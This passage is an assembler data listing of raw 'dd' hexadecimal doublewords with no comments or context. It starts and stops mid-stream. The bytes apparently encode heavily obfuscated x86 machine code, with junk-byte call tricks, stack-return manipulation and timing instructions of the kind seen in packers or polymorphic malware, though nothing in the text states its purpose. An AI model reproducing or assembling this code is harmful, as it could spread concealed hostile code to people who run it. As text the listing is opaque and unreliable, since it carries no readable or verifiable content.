3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0BD33A7C3h, 62204A5h, 62C78166h dd 45858D81h, 1062593h, 220FF5BDh, 0F535006h, 0F88h, 0AE900h dd 0E0090000h, 9281069Bh, 0DC943161h, 2404895Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 82C35646h, 0EB187EDEh dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 7870C357h, 64F8BF0Fh dd 2589h, 81660000h, 0FFDD01D7h, 2208B185h, 0C890F06h dd 0F000000h, 68Eh, 0B1958900h, 6A06220Fh, 51006AFFh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 35928DE2h, 0D9BD8B40h, 306221Bh, 2211A1BDh, 359D8B06h dd 0FF062207h, 220ED9B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 3DBD89A9h dd 0FF06220Eh, 221C3595h, 12DE906h, 0BD890000h, 6220E2Dh dd 15300B0h, 2203F98Dh, 70E65F06h, 1ED1E381h, 71E43E95h dd 0BEABF781h, 613C4394h, 105830Fh, 11E80000h dd 3E000000h, 0C8719546h, 0CA6649C8h, 0C2BBF0DAh, 0ACC8B550h dd 0C8B60F5Fh, 9EDBD8Bh, 6BA0622h, 0E9000000h, 10h, 0F98E4699h dd 445E838h, 43AD9E68h, 8E7539DFh, 0C1C18BF9h, 0F76604E8h dd 13E8E2h, 4AAC0000h, 0C6AAFF8Ah, 1D7E5D08h, 0D9D1FE6Bh dd 8A46F25h, 0C98160DBh, 0EC481EDh, 5B61F38Bh, 0CF81C82Bh dd 7B0BD156h, 0D88BD18Bh, 8EE9h, 8BDE8B00h, 5F4C4C85h dd 73BB6650h, 7C083ABh, 0C083F9h, 25BD8B50h, 5F062226h dd 830FD03Bh, 10h, 66E9h, 0F88B6600h, 0DDBD2953h, 5B062226h dd 0FFFF8D8Bh, 0B509FFFFh, 6221BC9h, 19850Fh, 0EE80000h dd 73000000h, 0C58AB8C9h, 359A7E50h, 20F9E6B8h, 0D38166F1h dd 835B20BBh, 840F01E1h, 27h, 2F5BD89h, 0BF0F0622h, 0FFA583F9h dd 0FEFFFFFFh, 68DBF381h, 9589711Ch, 505F4C4Ch, 24ADBD8Bh dd 0E90622h, 8D000000h, 26B0AFB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 14FB1B59h dd 8B577B5Ch, 222911BDh, 6A5B06h, 38B0Fh, 8B660000h, 7595FFF8h dd 0E9062230h, 0Dh, 0F5239EC6h, 0B9456781h, 0D4C496ECh dd 0F7DB9D8h, 9D8B0000h, 62221B9h, 6AFCE183h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0AA31C352h, 9653CCF8h, 0C11FA1D1h, 68E0Fh, 9D330000h dd 6221C45h, 6AFCF9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0D328A0C3h, 0C6BF66FCh, 0FE9E6h dd 0C0340000h, 351328E0h, 32B12447h, 5602AC16h, 9C02B9Bh dd 22143985h, 6AD22B06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0CCB1C355h, 0DEDE62DAh dd 29ACFA62h, 222FCD95h, 0C233AD06h, 0D003E8D1h, 7504E983h dd 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 60EA6750h, 820F60h, 0E8000000h, 14h, 2E1905DFh dd 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh, 70B5615Bh dd 0FDF8B61h, 48Bh, 4BBB6600h, 52006A29h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 315B180Eh dd 0CE8EA4BBh, 880D78h, 0BD8B0000h, 62207D9h, 33F1958Bh dd 0BD8B0622h, 62231D5h, 2D318D8Bh, 8E0F0622h, 10h, 9E956h dd 0A7950000h, 526115A1h, 5B7A24BAh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0FE8B5818h, 69BD83F9h, 6222Ch dd 4C840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0DCCDEDC3h, 817EF96Ch, 0B8h, 41BD8B00h dd 8D062230h, 2250B18Dh, 0F1B58906h, 0FF06221Bh, 0CE9E1h dd 38120000h, 0E06846DBh, 0D552200h, 0BD83C90Ah, 62230E5h dd 27840F00h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0F15EC352h, 172A9F8Dh dd 2CED6945h, 0B086DB81h, 0BD832625h, 62230E5h, 0A840F01h dd 8B000005h, 220121BDh, 7E906h, 0DEE90000h, 16BC149Bh dd 0E5BD8346h, 3062230h, 4B5860Fh, 60FC0000h, 68E0Fh, 830F0000h dd 0 dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0E1FC5CC3h, 66DE8B45h, 6AD98Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E556C4C3h dd 15358D29h, 0E1800622h, 0FC90A04h, 1B784h, 0F9BD3300h dd 8B062214h, 2210B985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 204A22DFh, 0E865ED18h dd 13h, 0DECD67B9h, 362EE697h, 3B114D23h, 146424CCh, 0F84D877h dd 1786h, 12E900h, 59C60000h, 82FE842h, 0C3C8A27Ch, 7EC2D139h dd 21E55114h, 0A585335Bh, 6A062208h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5860C356h dd 0D966A6C4h, 3B26919Ch, 0BB506FB3h, 0CA4187h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E9FDC355h, 10h, 348A31DFh, 0EAF04370h, 27DE5D28h dd 2CF14F73h, 8B60006Ah, 2214699Dh, 0BB666006h, 8D09C0FCh dd 62231C1h, 4E86161h, 0FF000000h, 66001F03h, 6050DA8Bh dd 28D0Fh, 21B10000h, 24448B61h, 9A64BB04h, 8B5F07h, 2850Fh dd 0FE8A0000h, 4244489h, 0F58BAB3h, 1883h, 128F0F00h, 0E9000000h dd 0Dh, 318269Ch, 0B0DEFC03h, 0E3CDAA54h, 0D139BFF9h, 95FF4723h dd 6221E91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 3C35242h, 88A82DFFh, 9D8B4B8Eh, 6222D65h, 0CAEB8589h dd 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 782E1C3h, 89DA1052h, 222AE195h, 24EE906h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0CB8187C3h, 2049052Ah, 0CAE3858Bh, 14E90625h dd 0C8000000h, 0C1438F46h, 416A08CDh, 3B8311E5h, 1B4F3D26h dd 0C7EAA441h, 1800h, 11E900h, 0A3C70000h, 0E93BDCE2h dd 0F9EA2305h, 5BF2861Ch, 6035E023h, 1025B589h, 61F50622h dd 0CAE7B58Bh, 6A0625h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 3D2D32C3h, 4AE6BB44h, 0B70F628Ch dd 65858BDBh, 6A06220Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0F44AC350h, 30E4EFAh dd 59958999h, 51062224h, 895FD98Bh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 8E257A9h, 0F7C2C59h dd 858BFBBFh, 62210B9h, 4689F9B7h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 9BE2309Eh dd 0BB665E18h, 0BB50D97Bh, 376678E0h, 6A243489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 837FC350h, 66EFDF49h, 0E9C2E8BBh, 12h, 0E29A8DFAh, 0A3B76D2Dh dd 0BE679452h, 920742DEh, 0FE91677h, 65000000h, 0AD4AE1BBh dd 42427B77h, 0DFAD6283h, 0B5FF1D63h, 625CAE3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9BC35646h, 892B95A0h dd 0E9DBBF0Fh, 12h, 210316D3h, 0B86C0DCFh, 0EF686B57h dd 33A81DEh, 9D8B4BE5h, 62230E1h, 99AC4668h, 8E8A1h, 28C20000h dd 441502E5h, 8B660E53h, 4815FFBh, 8557B924h, 0E595895Eh dd 8D062220h, 25CAEB85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0CC5743E5h, 32B8A180h dd 66901D17h, 0F50D88Bh, 1489h, 0AE800h, 0F5F90000h, 0E92B351Fh dd 60C89915h, 0E03ABB66h, 6A905Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 89B723C3h, 95FF361Ch dd 6221E91h, 0BE961h, 0AF6F0000h, 0ABE0F926h, 0DDF3E7F8h dd 0E585C7F8h, 3062230h, 66000000h, 83C056BBh, 25CAEBBDh dd 840F0006h, 43h, 58E9F8h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0A950A6C3h dd 0BE8B2FBh, 0BC000000h, 93ED9E8h, 0EAA7F8EBh, 880F7175h dd 6, 189DBD03h, 505B0622h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0BB66C08Bh, 8D8930ACh, 62234BDh dd 83DA8B66h, 2230E5BDh, 850F0306h, 4B3h, 1E59BD8Bh, 0BD830622h dd 625CAEBh, 0A0840F00h, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0B1C5C350h dd 0B03E0E1h, 0CAEBB5FFh, 0FB8B0625h, 1DCD95FFh, 6A0622h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0F7199CC3h, 20B0CA94h, 0CDBD890Eh, 8B06222Ch, 25CADFB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 435EBF86h, 6598509h, 6C70622h, 10001h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C5C35040h, 0FD6AACBEh dd 0D3A5B3D6h, 18D0Fh, 0FF80000h, 5050D9B7h, 0BF525052h dd 7E3DB58Bh, 6160310Fh, 310F585Ah, 3489585Ah, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0F02B76CEh, 0AA60DBE2h, 0B99D8B52h, 5F062201h, 22159D8Bh dd 0BD890622h, 6222231h, 0CAEBB5FFh, 6A0625h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0F0166EC3h dd 8D0F52A7h, 3, 0FFD88B66h, 22254195h, 0B58D8906h, 8B06222Ah dd 25CADFB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8B2F2599h, 2233159Dh, 2D858B06h dd 6A06221Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0B7C1C357h, 90AEEB67h, 89FC1E49h dd 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0F233235Ch, 6EC67886h, 8C0F6Eh, 8B000000h dd 2233F195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 59F744A9h, 74EEAE61h, 83BBEB80h dd 0BFF904C2h, 14272389h, 6A205089h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C97DC351h dd 460C40D2h, 12619D8Bh, 858D0622h, 625DEBCh, 89DABF0Fh dd 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0ADD949A5h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0ECF10FC3h dd 0B5FFF98Eh, 625CAEBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 5CC35040h, 0C7F99717h, 16598D29h, 9D290622h dd 6220A11h, 28595FFh, 810F0622h, 6, 2C79BD29h, 60960622h dd 6051F88Bh, 50615F61h, 30BB5250h, 0F2F6670h, 0BCBE6031h dd 6600258Dh, 5A61D38Bh, 6A9658h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0E95368C3h, 13h, 8E93BD98h, 30F667DCh, 3F43CD8Ah, 0CAABDA27h dd 5BCB4FEDh, 0CAEBB5FFh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 4D2EDFC3h, 0D88B59EEh dd 1AF595FFh, 0B9600622h, 559F683Dh, 6880Fh, 0BD290000h dd 62228A5h, 31BD8361h, 62213h, 47840Fh, 8A0F0000h, 3 dd 96FEB70Fh, 0BB665650h, 5F5FFF4Bh, 8E0F5250h, 0 dd 6A965Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 9E763BC3h, 0E26F5313h, 899708B0h, 220255BDh dd 0EBB5FF06h, 660625CAh, 5C8BC781h, 1D4195FFh, 12E90622h dd 37000000h, 68908792h, 913AFF9Ah, 0A637D134h, 866181E7h dd 0EBB5FFADh, 0B30625CAh, 0C595FF16h, 0E806222Fh, 12h dd 15F54F97h, 0FD1DB01Dh, 0DFEA313Fh, 33202BC6h, 9D29FA79h dd 6222C05h, 0C6F3815Fh, 836D9336h, 2202A9BDh, 840F0206h dd 69h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 0DC35747h, 58F1A3ACh, 607E5B7Fh, 850DDF81h, 8C0F115Ah dd 1, 0BD3161F9h, 6221325h, 0E1858Bh, 0C6F80622h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 908378C3h, 89AE91B4h, 220B1995h, 7D85C706h, 62219h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 5537C356h, 119D8BC0h, 0E9062227h dd 0FFFFF20Fh, 8BDEBF0Fh, 6E9C1h, 7D4A0000h, 319026A4h dd 2CB5858Dh, 0F88B0622h, 7AB46050h, 61F08B66h, 31240489h dd 2219ED85h, 0F006A06h, 0B86h, 58B0F00h, 66000000h, 0E97FCF81h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 778B88C3h, 0A4B60819h, 6E44BF61h, 0BD8B50BCh dd 62218A1h, 3F51858Dh, 840F0627h, 6, 26898589h, 9D8B0622h dd 6221ABDh, 0E805C083h, 0Eh, 0C611BE70h, 650F2F65h, 0CD10BB2Eh dd 8D89A4E1h, 62214ADh, 8B66905Fh, 525050F9h, 13E8310Fh dd 0E0000000h, 0FB4C4AA6h, 92CF2037h, 4E1BC64Fh, 6398945Dh dd 5A5B17E4h, 6A9058h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 212DEEC3h, 0AF9E9AD1h, 325F5DFh dd 221F75BDh, 89006A06h, 222465BDh, 0E8006A06h, 9, 0C41B24A1h dd 0D30466BBh, 1D95899Fh, 5B062229h, 355595FFh, 6A0622h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 3C3566C3h, 87162FF6h, 8D8D3DD4h, 625A90Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A0C35242h, 0B8BBD635h dd 81B2DABCh, 604653F3h, 6AD1FF1Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 692BC355h dd 0CF81305Bh, 69C4563Ch, 83EAEF80h, 2200F5BDh, 850F0106h dd 49h, 26AFE8Ah, 20159589h, 81660622h, 50ED38DBh, 4840Fh dd 0BB660000h, 489BEF6h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0CF2037FBh, 8595FF92h dd 8B062202h, 220FD59Dh, 0D2DE906h, 0E80000h, 5D000000h dd 3F5BED81h, 6A0627h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 811901C3h, 0DAEC83DFh, 45858D37h dd 6A062593h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0CD4C355h, 0ABE2E03Ah, 89ED8EF2h dd 2213A5B5h, 45BF5006h, 8906CED3h, 0EE92404h, 0AC000000h dd 360164BFh, 260EBB6Ch, 0F81297AAh, 35FF6464h, 0 dd 9E9h, 8E456A00h, 1BD1503Eh, 64F831F3h, 2589h, 0B5890000h dd 62226A5h, 8B185FFh, 8D310622h, 62224B1h, 6AFF6Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0C49353C3h, 0E81388F3h, 9, 5DEFFDCDh, 18B1EA8Bh, 5BF98BA4h dd 1AB5B5FFh, 9D890622h, 6223321h, 1A019D89h, 95FF0622h dd 6221C35h, 141E9h, 0D88B6600h, 3FDF381h, 0B0642Eh, 3870Fh dd 0F3800000h, 0E970E687h, 0Fh, 1913ECE4h, 3F1BDD7Ch, 0A95A228Fh dd 0E49E14ADh, 0BE566071h, 7548327Dh, 14E95Eh, 6FEF0000h dd 0A81B18CEh, 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 3C610101h dd 0EB830F61h, 8B000000h, 2210E1BDh, 0C8B60F06h, 0BAFEBF0Fh dd 6, 68F0Fh, 8D890000h, 62204A9h, 8589C18Bh, 6221E2Dh dd 904E8C1h, 22160D95h, 35EB8106h, 662F93B1h, 8D89E2F7h dd 6220B45h, 8166C82Bh, 8B59FFCBh, 17870FD1h, 0E9000000h dd 12h, 0E87D26FBh, 1B3EDB50h, 615BA846h, 0BBF2A698h, 83E95BC4h dd 8B000000h, 47554C85h, 559D0B49h, 8306221Dh, 8B6607C0h dd 0C083FAh, 58C0Fh, 5DBF0000h, 3B590C1Fh, 16830FD0h, 0BB000000h dd 53F9C34Bh, 87D9EB81h, 4BE947E0h, 81000000h, 0ABD4E4E3h dd 0FF8D8B56h, 66FFFFFFh, 83D622BFh, 840F01E1h, 32h, 0E850Fh dd 9E90000h, 97000000h, 848B379Ch, 563E9C10h, 0FFFFA583h dd 0BFEFFFFh, 22055DBDh, 4C958906h, 0F494755h, 8Bh, 0E900h dd 0B58D0000h, 626C02Ch, 6AF4EB80h, 0FFBF0F00h, 307595FFh dd 0D3810622h, 910130Dh, 0ED7B9h, 159D8B00h, 83062235h dd 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0A1144EC3h, 73B2C684h, 8D29F6E8h, 6221AF1h dd 35BD8BFCh, 2B062207h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 16DB6817h, 0E272B4DBh dd 0D6BF9ED5h, 2B4CAA28h, 2DBD8BD2h, 0AD062222h, 0E8D1C233h dd 0E983D003h, 8BF47504h, 221F799Dh, 819D8B06h, 0D06221Ch dd 88h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 6CC35040h, 0FC4EB1A8h, 33F1958Bh, 0EF810622h, 3D14ECFAh dd 1F758D89h, 8D8B0622h, 6222D31h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0B6C35141h, 695BB02Bh, 5E960ABh dd 0B8000000h, 7D24D3FBh, 26D18D09h, 50610622h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 2DDFD7AEh dd 0F569D88h, 68Eh, 4D9D8B00h, 6A062200h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8FDDC351h dd 891F8BD0h, 2220B1B5h, 69BD8306h, 6222Ch, 5C840Fh, 0BF0F0000h dd 0B8FBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F4AD09C3h, 7F463877h, 0D88B6E79h dd 50B18D8Dh, 0D7800622h, 0FE1FF85h, 786h, 18C0F00h, 0FC000000h dd 0AE8h, 0F39C3300h, 689B1260h, 8BCBF8FFh, 221A899Dh dd 0BD835B06h, 62230E5h, 0CF840F00h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0BB39C357h, 0BD831E85h, 62230E5h, 0BE840F01h, 0F000004h dd 68Fh, 899D8B00h, 83062207h, 2230E5BDh, 860F0306h, 46Fh dd 0C870Fh, 810F0000h, 6, 3025BD8Bh, 0E8600622h, 14h, 84C3E5CBh dd 7F353B08h, 0D69E835Eh, 93476ADEh, 838EB0D8h, 6810Fh dd 810F0000h, 0 aFmJ db '[fŒÙj',0 dw 0E850h dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FAC35040h, 5A068206h dd 2D019D95h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0F723C355h, 819643EEh dd 0FC90A82h, 14684h, 0B5896000h, 6221045h, 0B9858B61h dd 6A062210h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0FC5BC355h, 0C45CEFF6h, 1AED8529h dd 85330622h, 62208A5h, 0FD8D89h, 0B7500622h, 2404890Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 9C35242h dd 7C13A17Dh, 8A60321Fh, 0BF6661E3h, 6A440Ah, 8E8h, 0E3FEED00h dd 39752260h, 0FB8B5083h, 4E85B5Bh, 0FF000000h, 57001F03h dd 505FF98Bh, 9E8h, 0DD234600h, 19F9E168h, 0E860B86Ah dd 14h, 3B74DA1h, 62C63490h, 0F90C492h, 8ADC43BCh, 373901F1h dd 0C7C7BB59h, 5F610590h, 424448Bh, 0F532F0BFh, 52008B05h dd 2444895Bh, 7E904h, 6EFD0000h, 221DBF5Bh, 0BF0F5810h dd 9195FFDEh, 6A06221Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8B58C352h, 2214299Dh dd 0EB858906h, 660625CAh, 96E8C781h, 233E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 2220B451h, 94F822B5h, 0F534CF5h, 8B5FD9BFh, 25CAE385h dd 0C7F906h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 72C35646h, 830F44E4h, 6, 1AC5BD8Bh, 95010622h dd 6221C75h, 0CAE7B58Bh, 8A600625h, 1D952BD7h, 6106222Ch dd 0A65858Bh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 89BEAAC3h, 59952906h, 8B062231h dd 2210B985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 5286274h, 9D8B897Ch, 6223385h, 29D98B66h dd 220FC585h, 4468906h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 93C35343h, 0EF81663Eh, 0BB509424h, 0CDAEA34h dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 51F8C355h, 774AD3C1h, 0F98A6EBEh dd 0CAE3B5FFh, 6A0625h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0DEDAA0C3h, 2FEF8166h, 6896B3F9h dd 1F4023CEh, 66525060h, 310FF78Bh, 585A6160h, 906007BEh dd 34816107h, 5F203124h, 51006A1Fh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0B460853Dh, 0E9F65A21h dd 13h, 1538FCC5h, 0B674A7A2h, 73577068h, 13ACDDFFh, 0B7E187D9h dd 0EB858D6Dh, 6A0625CAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 19B0C352h, 0BEA01E23h dd 328EF141h, 25C1BD8Bh, 85090622h, 6220005h, 89DA8B50h dd 8D892404h, 6221BE5h, 1E9195FFh, 6A0622h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 20B84FC3h dd 0DD983E86h, 13E9h, 1EF5100h, 76E5D48Fh, 1128FE10h, 4637F188h dd 7F3C8C0Ch, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FD28985h, 0C88h, 6840F00h, 29000000h dd 221CF595h, 0E585C706h, 3062230h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 48EC355h, 1A63A6BBh, 0F82400BBh, 0EBBD8323h, 625CAh dd 25840Fh, 8A0F0000h, 14h, 0FE9h, 3CFF700h, 7EAB8EA8h dd 0BF42E643h, 0ED778FBAh, 21E9h, 0A5BD0300h, 50062211h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 2AF900C3h, 0D2167021h, 899D3177h, 83062226h dd 2230E5BDh, 850F0306h, 3ACh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0C2C35545h, 0E336EEC0h, 13E998h dd 0B4350000h, 4C8D4C24h, 9FB55104h, 0C2734CC2h, 469A69D8h dd 97F780C9h, 0CAEBBD83h, 0F000625h, 36384h, 13E800h, 0EEF50000h dd 0F12AA9D1h, 5803BFA1h, 8FDAD3D1h, 623C6197h, 0EB8166E0h dd 0FF5F6C4Ah, 25CAEBB5h, 859D8B06h, 0FF062219h, 221DCD95h dd 0EE906h, 0A9160000h, 0F980B471h, 436BF0AAh, 61FCDCBDh dd 0F9D9589h, 0B58B0622h, 625CADFh, 0E919589h, 6C70622h dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0D5C35040h, 0DDE311C5h, 348950A8h, 6800F24h, 29000000h dd 22294DBDh, 15BD8B06h, 0FF062222h, 25CAEBB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 55302755h, 0F381FC93h, 4BE4FB26h, 254195FFh, 6A0622h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0D629C4C3h, 2C0D0F47h, 0DFB58B50h, 8B0625CAh, 221D099Dh dd 2D858B06h, 6606221Bh, 89AAD4BBh, 0C486h, 8F0F6000h dd 0Bh, 6E9h, 0F46EEC00h, 89FE4DBEh, 220E75BDh, 958B6106h dd 62233F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 75C35040h, 356A92Bh, 220675BDh, 12E95B06h, 22000000h dd 97D33C40h, 0F9D8F285h, 2DD9C992h, 839FFCD2h, 4C28329h dd 205089F8h, 8DFFCB80h, 25DEBC85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 836C528h, 0F96BDADh dd 280h, 89F98B00h, 0B886h, 61858900h, 6A062200h, 1FBB6600h dd 0EF816613h, 0B5FFC4F9h, 625CAEBh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 12C35545h, 6846DB38h, 12200E0h dd 22142DB5h, 8595FF06h, 6A062202h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BF58C350h dd 6656D35Fh, 0E2BF6696h, 91BB5076h, 96739D37h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 27C35242h, 667A1F34h dd 12E9FA8Bh, 2F000000h, 0E09B0A27h, 9F39D93Dh, 81486926h dd 9EBD657Ch, 0EBB5FF68h, 660625CAh, 95FFF98Bh, 6221AF5h dd 1331BD83h, 0F000622h, 1D84h, 0D5B58900h, 9606222Ah dd 53F08A60h, 61586160h, 8D899650h, 6221F61h, 246D8D89h dd 0B5FF0622h, 625CAEBh, 1D4195FFh, 6A0622h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 945ACFC3h dd 698A042Fh, 0CAEBB5FFh, 6A0625h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 1D106BC3h, 2916199Dh dd 2200FD85h, 0C595FF06h, 8B06222Fh, 2211159Dh, 0A9BD8306h dd 2062202h, 5E840Fh, 74B70000h, 0E1858Bh dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 8C11E4C3h, 1D4FCF93h, 292DB8B2h, 22117185h dd 0FABF0F06h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8907C351h, 